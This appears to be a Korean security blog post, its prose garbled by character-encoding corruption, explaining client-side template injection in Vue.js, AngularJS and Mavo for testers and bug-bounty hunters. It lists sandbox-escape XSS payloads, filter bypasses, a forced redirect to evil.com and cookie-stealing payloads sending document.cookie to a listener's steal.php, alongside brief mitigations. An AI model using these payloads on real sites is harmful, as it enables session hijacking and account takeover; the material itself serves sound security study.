ν°μ€ν 리 λ·°
CSTI λ?
Client Side Template InjectionμΌλ‘ ν΄λΌμ΄μΈνΈ μΈ‘μμ μ¬μ©λλ ν νλ¦Ώμ μμ ꡬ문μ μ£Όμ νλ€λ μλ―Έλ₯Ό κ°μ§λλ€. λΈλΌμ°μ μμμ μ λ ₯λ ν νλ¦Ώ ννμμ νλ‘ νΈ μΈ‘μμ μ΄ν΄νκ³ μνλ κ²°κ³Όλ₯Ό 보μ¬μ€λ€λ κ²μ 곡격μ κ΄μ μμ ν νλ¦Ώ ννμ + μλ°μ€ν¬λ¦½νΈ ꡬ문 μ‘°ν©μ ν΅ν΄ XSSλ₯Ό μλν κ°μΉκ° μλ μ·¨μ½μ μ λλ€.
μΌλ°μ μΌλ‘ XSS μ·¨μ½μ μ μν₯λμ μ μ¬νμ§λ§ μ¨μ ν μλ°μ€ν¬λ¦½νΈ ꡬ문μΌλ‘ μ€νμν€λλ ν νλ¦Ώ ννμμ λ΄μμ μ€ννλλμ μ°¨μ΄κ° μ‘΄μ¬ν©λλ€.
곡격μλ μλλ°μ€μμ νμ©λλ ν¨μ($eval μ 곡)μ κ°μ²΄(toString(), charAt(), trim(), prototype, and constructor)μ ννμ "{{}}" λλ "[]"λ₯Ό ν΅ν΄ μλλ°μ€λ₯Ό λ²μ΄λκ² λμ΄ μ€ν¬λ¦½νΈκ° μ€νλκ² μ λνκ² λ©λλ€.
- constructor and prototype : μ΄ ν¨μλ μ½λλ₯Ό λμ μΌλ‘ μμ±νκ³ μ€ννλ λ° μ¬μ©
- trim() : λ¬Έμμ΄ μ’/μ°μμ 곡백μ μ κ±°
- charAt() : λ¬Έμμ΄μμ μ§μ λ μμΉμ μ‘΄μ¬νλ λ¬Έμλ₯Ό μ°Ύμμ λ°ν
- toString() : μ«μλ₯Ό λ¬Έμμ΄λ‘ λ³ν
Surface Recon
νλ©΄ μ μ°°νλ λ°©λ²μ ν νλ¦Ώ ννμμ μ¬μ©νλ SSTI(Sever side tempate injection) μ·¨μ½μ κ³Ό μ μ¬ν©λλ€. μ΄ λμ μ°¨μ΄μ μ μ·¨μ½μ μ μ©μ ν΅ν΄ μ΄λ£¨μ΄μ§λ ν¨κ³Όκ° λ€λ₯΄λ€κ³ λ³Ό μ μμ΅λλ€. μλ² μΈ‘ μ£Όμ μ΄λ©΄ μ격μ½λλ₯Ό μ€νμν€λ κ²μ΄ λͺ©μ μ΄ λκ² μ§μ.
λμ μΉ μ¬μ΄νΈκ° ν νλ¦Ώ μμ§μ΄ ν¬ν¨λ μλ°μ€ν¬λ¦½νΈ νλ μμν¬λ₯Ό μ¬μ©ν κ²½μ° HTML νκ·Έμ ννμ ꡬ문μ μ¬μ©ν μ μμ΅λλ€. μλ²κ° HTTP μλ΅μ λ°ννκΈ° μ μ μλ² μΈ‘μμ ν΄μλμ΄ μ¬μ©μλ€μκ² λ³΄μ΄κ² λ©λλ€. ν νλ¦Ώ μ¬μ© μ 무λ₯Ό κ°λ¨ν ν μ€νΈν΄λ³΄κΈ° μν΄μ μ°μ°μλ₯Ό μ¬μ©νμ¬ κ³μ°λ κ²°κ³Ό κ°(81)μ΄ νλ©΄μ λνλλμ§ μ²΄ν¬νλ©΄ λ©λλ€.
- {{9*9}}
- ${9*9}
- ${{9*9}}
- <%= 9*9 %>
- #{9*9}
Input
# www.example.com/csti/?name={{9*9}}
Output
# Ctrl + F and Find 81
Vue.js Template
2014λ 릴리μ¦λ₯Ό μμμΌλ‘ κΎΈμ€ν λ°μ μ€μΈ μλ°μ€ν¬λ¦½νΈ νλ μμν¬μ λλ€. HTML μ½λλ₯Ό κΈ°λ°μΌλ‘ ν νλ¦Ώμ λ§λ€μ΄λΌ μ μμ΅λλ€. μ λ ₯λ ννμμ HTML μ½λμ λ°μΈλ©νκΈ° μν΄ "{}" μ΄μ€ μ€κ΄νΈλ₯Ό μ¬μ©ν μ μλλ°, 보κ°λ²μ΄λΌκ³ 보μλ©΄ λ©λλ€.
<div id="app">
<h1>Hello ?name=${escapeHTML(name)}</h1>
</div>
...
<script>
new Vue({
el: '#app'
});
</script>
μ·¨μ½ν νμ΄μ§ μμ€(vuejs 2.5.13)λ₯Ό νμΈν΄ λ³΄κ² μ΅λλ€.
Vue μΈμ€ν΄μ€λ new ν€μλλ₯Ό ν΅ν΄ μμ κ°μ΄ μμ±ν μ μμ΅λλ€. el μμ±μ μ΄λ ν idλ₯Ό κ°μ§ html νκ·Έμ ν¬ν¨μν¬μ§ νκΈ°νλ κ²μΌλ‘ μΈμ€ν΄μ€ λ΄μ λ°μ΄ν°λ₯Ό html μ½λμ λ°μΈλ©νκΈ° μν΄μ μ΄μ€ μ€κ΄νΈ {{ }} λ¬Έλ²μ νμ©ν΄μΌ λ©λλ€.
#appμ΄ μ¬μ©λμμΌλ―λ‘ μ¬μ©μνν 보μ¬μ£Όλ νκ·Έλ μ μΈλμ΄ μλ κ°μ²΄μΈ "<div id="app"></div>" μ ν¬ν¨λ©λλ€. κ²°κ³Όμ μΌλ‘ Vue μΈμ€ν΄μ€ λ΄λΆμ λ°μ΄ν°κ° λ°λ λλ§λ€ κ·Έμ λ§λ νλ©΄μ μ¬μ©μλ€μκ² λ³΄μ΄κ² λ©λλ€.
μΆκ°μ μΌλ‘ Vuejs λ² μ΄μ€μ Template Injectionμ μ°Ύκ³ μ ν κ²½μ° λλ ν°λΈ μ€ νλμΈ "v-html" λΆλΆμ 체ν¬ν΄λ³΄λ κ²λ μ’μ΅λλ€.
- v-html : innerHTML μμ±μ μ°κ²°λ¨, μ£Όμ λ νκ·Έλ₯Ό νμ± νμ¬ νλ©΄μ 보μ¬μ£Όλ―λ‘ XSS λ°μ κ°λ₯
* v-text: μ£Όμ λ HTML νκ·Έλ₯Ό μΈμ½λ© μμΌ λ³΄μ¬μ£Όλ―λ‘ μμ ν¨
XSSλ₯Ό μ λ°νκΈ°μν΄ μ€ν¬λ¦½νΈ ꡬ문μ μ½μ ν΄λ³΄λ©΄ μ€νλμ§ μμ΅λλ€. name λ³μμ ${escapeHTML}μ μν₯μΌλ‘ μ λ ₯λ νΉμλ¬Έμλ€μ΄ μ΄μ€μΌμ΄ν μ²λ¦¬λκΈ° λλ¬Έμ λλ€.
ν νλ¦Ώ ννμμ μ¬μ©ν μ μλ νκ²½μΈμ§ νμ νκΈ° μν΄ {} μ€κ΄νΈλ₯Ό νμ©νμ¬ κ°λ¨ν μ°μ° ꡬ문μ μ£Όμ ν΄λ³Έ κ²°κ³Ό 81μ΄λΌλ κ²°κ³Ό κ°μ΄ λνλ κ²μ νμΈν μ μμ΅λλ€. μ΄λ₯Ό ν΅ν΄ 곡격μλ ν νλ¦Ώ μ£Όμ μ μ·¨μ½ν μ μλ€λ κ²μ μκ² λ©λλ€.
ν νλ¦Ώ λ¬Έλ²μ νμ©ν΄μ μ€ν¬λ¦½νΈλ₯Ό μ€νμν€κ² λ©λλ€. μ΄λ μ¬μ©λ ν¨μλ constructor μ¦ μμ±μ ν¨μλ‘ alertν¨μλ₯Ό μ€νμν¬ μ μλλ‘ λμμ€λλ€.
<div v-pre>
<h1>Hello ?name=${escapeHTML(name)}</h1>
</div>
λ§μ½ μμμ λ°μλ Template Injectionμ μλ°©νκΈ° μν΄μλ "v-pre" λλ ν°λΈλ₯Ό νμ©ν΄μ μ£Όμ λ 보κ°λ²μ μ²λ¦¬νμ§ λͺ»νκ³ κ·Έλλ‘ μΆλ ₯νλλ‘ ν μ μμ΅λλ€.
# Vuejs v2 Template Payload
{{constructor.constructor('alert(1)')()}}
# Vuejs v3 Template Payload
{{_openBlock.constructor('alert(1)')()}}
# More Payload
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected
Angular.js Template
ꡬκΈμ΄ 2009λ λμ λ°νν μλ°μ€ν¬λ¦½νΈ νλ μμν¬μ λλ€. AngularJS ννμμ μΆλ ₯μ νμ΄μ§μ μ§μ κΈ°λ‘λ©λλ€. 곡격μκ° ννμμ μ μ΄ν μ μλ νκ²½μΈ κ²½μ° μ μμ μΈ JavaScript μ½λλ₯Ό ν νλ¦Ώ ννμκ³Ό μ‘°ν©νμ¬ μ€νμν¬ μ μμ΅λλ€. κΈ°λ³Έμ μΌλ‘ ν νλ¦Ώμ μ λ ₯λ HTML νκ·Έλ€μ λν΄ μλμΌλ‘ μ΄μ€μΌμ΄ν μ²λ¦¬λ₯Ό νκ³ μλ λ§νΌ μμ‘΄νλ κ²½μ°κ° μ’ μ’ μ‘΄μ¬νμ§λ§ μ΄λ μ λμ μΌλ‘ μμ ν λ°©λ²μ΄ μλλλ€.
AngularJS 1.6 νμ λ²μ λ€μ ννμμ DOM λ ΈμΆμ μ ννκ³ λΆλ¦¬λλ μλλ°μ€ νμμΌλ‘ ꡬλΆλμ΄ μμμ΅λλ€. μ¬κΈ°μ 곡격μλ€μ μ€ν¬λ¦½νΈλ₯Ό μ λ°νκΈ° μν΄ λ΄λΆ μλλ°μ€λ₯Ό λ²μ΄λκ² λ μ λ ν XSSλ₯Ό μ€νμν¬ μ μμ΅λλ€.
*AngularJSλ 2021-12-31μΌ μ§μ μ’ λ£
- Sandbox 1.1.5 ~ 1.5.*
- Remove Sandbox 1.6+
<html lang="en" ng-app>
<head>
<script src="style/angular.min.js"></script>
</head>
<body>
<form role="search" action="" method="GET">
<div class="input-group">
<input type="text" class="form-control" name="search" placeholder="Search">
...
<?php
if (isset($_GET['search']) && !empty($_GET['search'])) {
$search = htmlspecialchars($_GET['search']);
echo "<h3>" . $search . " Not found</h3>";
}
?>
Angularjs λ²μ μ 1.4.8λ‘ HTML νμ΄μ§ μμ€μμ "ng-app" ν¨μκ° ν¬ν¨λΌ μμμ νμΈν©λλ€. μ΄κ²μ ν΄λΉ λΌμΈλΆν° Angularjsλ₯Ό μ¬μ©νκ² λ€κ³ μ μΈνλ κ²μ μλ―ΈνκΈ° λλ¬Έμ μ λ ₯λ ννμμ ν΄μνκ³ μ¬μ©μλ€μκ² λ³΄μ΄κ² λ©λλ€.
μΌλ°μ μΌλ‘ XSS μ·¨μ½μ μ λ°κ²¬νκΈ° μν΄μ μ λ ₯λ°λ 맀κ°λ³μμ ", ', <, > λ± μ μ½μ ν΄μ valueμμ λ²μ΄λ μ μλμ§ μ¬λΆλ₯Ό λ¨Όμ νμΈνμ§λ§ search λ³μμ htmlspecialchars κ° μ μ©λμ΄ μμ΄ νΉμλ¬Έμλ₯Ό λ¬Έμ κ·Έλλ‘ μΈμνκ³ μμ΅λλ€.
ννμμ ν΅ν΄ μΈμ μ μ΄ κ°λ₯νμ§ μ¬λΆλ₯Ό μ¬μ μ νμΈν΄μΌ λ©λλ€.{{2*2}} λ₯Ό μ λ ₯ν΄λ³΄λ©΄ κ²°κ³Ό "4"λ₯Ό μ»μ μ μμ΅λλ€.
# Input
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(`AngularJS!!`)');}}
# More Payload
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md
AngularJSλ "νλ μμν¬" μ΄κΈ°μ λμΌν λ²μ μ΄λλΌλ κ°κ°μ μ λ ₯ κ°μ μ²λ¦¬νλ λ°©λ²μ μ‘°κΈμ© λ€λ₯Ό μ μμ΅λλ€. νμ§λ§ μ§μ¬μ§ μ½λμ λ¬Έμ λ‘ μΈν΄ μ¬μ©μκ° μ λ ₯ν ννμμ μλ²μμ λμ μΌλ‘ μ΄ν΄νκ³ μ€ννκ² λλ νκ²½μΌ κ²½μ° μμ κ°μ νμ μ°½μ λ§μ£Όνκ² λ©λλ€.
No quote | double quote
# {{x=valueOf.name.constructor.fromCharCode;constructor.constructor(x(97,108,101,114,116,40,49,41))()}}
# {{(toString()).constructor.prototype.charAt=(toString()).constructor.prototype.concat;$eval((toString()).constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41))}}
# {{constructor.constructor(valueOf.name.constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41))()}}
μ΄λ μ λ μ¬μ©μμ μ λ ₯ κ°μ 무쑰건 μ μΌλ‘ μ λ’°νμ§ μλ μ¬μ΄νΈμ κ²½μ° κΈ°λ³Έμ μΌλ‘ μ±κΈ μΏΌν° λλ λλΈ μΏΌν°λ₯Ό μ¬μ©νμ§ λͺ»νκ²λ μ΄μ€μΌμ΄ν μ²λ¦¬νκ² λ©λλ€. κ·Έλ΄ λλ fromCharCodeλ₯Ό νμ©ν΄μ μ£Όμ μ΄ κ°λ₯ν©λλ€.
* String.formCharCode λ Angularμ λ²μ λ΄μμ μ‘μΈμ€ ν μ μλ μμ±κ³Ό λ³μλ§ μ¬μ©νλλ‘ μ ννκΈ° λλ¬Έμ μλνμ§ μμ
Force Redirection
# {{'a'.constructor.prototype.charAt=[].join;$eval('x=location.replace("https://evil.com")');}}
# {{constructor.constructor('location.replace("https://evil.com")')()}}
μ·¨μ½μ μ μ 보νκ±°λ κ³ κ°μ¬μκ² μ λ¬ν΄μ€ λλ λ¨μν νμ μ°½μ λμμ κ²μ¦νλ κ²λ³΄λ€. κ°λ¨ν μν₯λλ₯Ό νμΈμμΌμ£Όλ κ²λ μ’μ΅λλ€. μ μμ μΈ ν νλ¦Ώ ννμ κ΅¬λ¬Έμ΄ ν¬ν¨λ URLμ ν΄λ¦ν μ¬μ©μλ 곡격μκ° μ§μ ν΄λ μμ μ£Όμλ‘ λ¦¬λ€μ΄λ νΈλ₯Ό λ°μμν¬ μ μμ΅λλ€.
Session Hijacking
# {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };document.location="http://172.20.10.2:8888/steal.php?test="+document.cookie//');}}
# {{constructor.constructor('new Image().src="http://172.20.10.2:8888/steal.php?test="+document.cookie;')()}}
CSTI μ·¨μ½μ μ νμ©ν Account takeoverμ λλ Session hijackingμ νκΈ° μν΄μλ ν΄λΉ ꡬ문μ ν΅ν΄ νμ·¨ν μ μμ΅λλ€.
Mavo Template
Mavoλ μ¬μ©μκ° μμ HTMLμ μ¬μ©νμ¬ λνν μΉ μμ© νλ‘κ·Έλ¨μ λ§λ€ μ μλλ‘ νμ¬ μΉ κ°λ°μ λ¨μννλ κ²μ λͺ©νλ‘ νλ μλ°μ€ν¬λ¦½νΈ νλ μμν¬μ λλ€.
κΈ°λ³Έμ μΌλ‘ Mavoμμλ HTML λ¬Έμμ λκ΄νΈ μμ MavoScriptλ₯Ό ν¬ν¨ν μ μμ΅λλ€. μ¬μ©λλ ννμμ μλμ κ°μ΅λλ€.
- [9*9]
- https://mavo.io/docs/mavoscript(Mavo ꡬ문)
HTML νμ΄μ§ λ΄λΆμ Mavo Template μ¬μ©μ νμΈ ν μ μ ν ννμμ μ½μ νμ¬ ν νλ¦Ώ μ 무λ₯Ό 체ν¬ν©λλ€.
[self.alert(`Mavo!!`)]
[''=''or self.alert(lol)]
[/**/x='javascript'][/**/x+=':alert'+y.rel+y.title]<a href=[x] id=y title=1) rel=(>test</a>
[self.alert(1)mod1]
[omglol mod 1 mod self.alert(1)andlol] => Mavoλ μ°μ°μ ν€μλ λ°λ‘ λ€μ μΈμ©λμ§ μμ λ¬Έμμ΄μ νμ©
ννμμ ν΅ν μλ°μ€ν¬λ¦½νΈ ꡬ문μ μ€νμν¬ μ μμ΅λλ€. μ΄ λ°μλ Mavoλ νΉμ μ HTML μμ±μ νμ©ν΄μ XSSλ₯Ό λ°μμν¬ μ μμ΅λλ€.
- <a href=javascript[x.rel]1) id=x rel=:alert(>test</a> => Filter Bypass
- <a href=[javascript&':alert(1)']>test</a>
- <div mv-if=”false”>Hide me</div> => mv-value λ° mv-if μ¬μ© μ "[]" λκ΄νΈ μμ΄ μ£Όμ κ°λ₯
- <a data-mv-if='1 or self.alert(1)'>test</a>
- <div mv-expressions="{{ }}">{{top.alert(1)}}</div> => mv-expressions μ¬μ© μ
- <div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
Mavo ν νλ¦Ώμ λν μ·¨μ½μ κ°μλ μλμ λ§ν¬λ₯Ό ν΅ν΄ λ³΄λ€ λ§μ μ 보λ₯Ό μ»μΌμ€ μ μμ΅λλ€.
https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations
Abusing JavaScript frameworks to bypass XSS mitigations
At AppSec Europe Sebastian Lekies, Krzysztof Kotowicz and Eduardo Vela Nava showed how to use JavaScript frameworks to bypass XSS mitigations. In this post I’ll do a systematic analysis of how the bra
portswigger.net
Custom Payload
Bug bountyμ νμμ΄ν λλ μ§λ¨νκ³ μ νλ λμμ μκ° λ§μ κ²½μ° μ¬μ©μμ μ λ ₯ κ° ν μ€νΈλ₯Ό νλμ© λ£μ΄μ νμΈνκΈ°μλ μκ°μ ν¨μ¨μ μΌλ‘ μ¬μ©ν μ μλ λ¬Έμ κ° λ°μν©λλ€. κ·Έλ΄ λλ λ¬Έλ² κ΅¬λ¬Έμ΄ μλ¬ λμ§ μλ μ μμ μ μ ν μ½λλ₯Ό μμ΄μ€ ν μλνν΄μ£Όμλ©΄ λ³΄λ€ λΉ λ₯΄κ² νλ©΄ μ μ°°ν μ μκ² λ©λλ€.
μ νν μλ°μ€ν¬λ¦½νΈ νλ μμν¬λ₯Ό κ°μ Έμ μ¬μ©μμ νΈμμ±λ§μ κ³ λ €νλ€ λ³΄λ©΄ μ’ μ’ μ΄μκ° λ°μνκ³€ ν©λλ€. μ΄λ¬ν λ¬Έμ λ€μ μλ°©νκΈ° μν΄μλ μ λ ₯λ κ°μ΄ ν νλ¦Ώμ λμ μΌλ‘ ν¬ν¨λμ§ μκ² λ νμν μμμλ§ μ μΈν΄μ μ¬μ©ν΄μΌ λ©λλ€. μλ₯Ό λ€μ΄ AngularJSλ HTML λ΄μ "ng-app" μ§μλ¬Έμ ν΅ν΄ λ²μλ₯Ό μ νν μ μμ΅λλ€.
κ·Έλ μ§ λͺ»ν νκ²½μΌ κ²½μ° μΌλ°μ μΈ XSSλ₯Ό μλ°©νλ κ²κ³Ό μ μ¬νκ² ννμ({μ€κ΄νΈ}, [λκ΄νΈ]) κ³Ό μ μμ μΌλ‘ μ¬μ© κ°λ₯ν ν€μλλ€μ μ μ ν νν°λ§ ν΄μ£Όκ³ μλ‘μ΄ Release λ²μ μ λν΄ κΈμ μ μΌλ‘ μμ©νλ μμΈλ₯Ό κ°μ§λ κ²μ΄ μ’μ΅λλ€.
#References
https://techblog.securesky-tech.com/entry/2018/08/01/110000
https://github.com/azu/vue-client-side-template-injection-example
https://www.hahwul.com/cullinan/csti/
https://book.hacktricks.xyz/pentesting-web/client-side-template-injection-csti
https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations
'WEB' μΉ΄ν κ³ λ¦¬μ λ€λ₯Έ κΈ
OAuth λ° OpenIDμ μλͺ»λ 보μ κ΅¬μ± (1) | 2022.04.07 |
---|---|
κΈ°μ λλ©μΈμ DMARC λ μ½λ λΆμ (0) | 2022.02.18 |
Log4j μ·¨μ½μ (CVE-2021-44228) (0) | 2021.12.23 |
Atlassian RCE μ·¨μ½μ (0) | 2021.09.12 |
Atlassian REST API μ·¨μ½μ (0) | 2021.09.11 |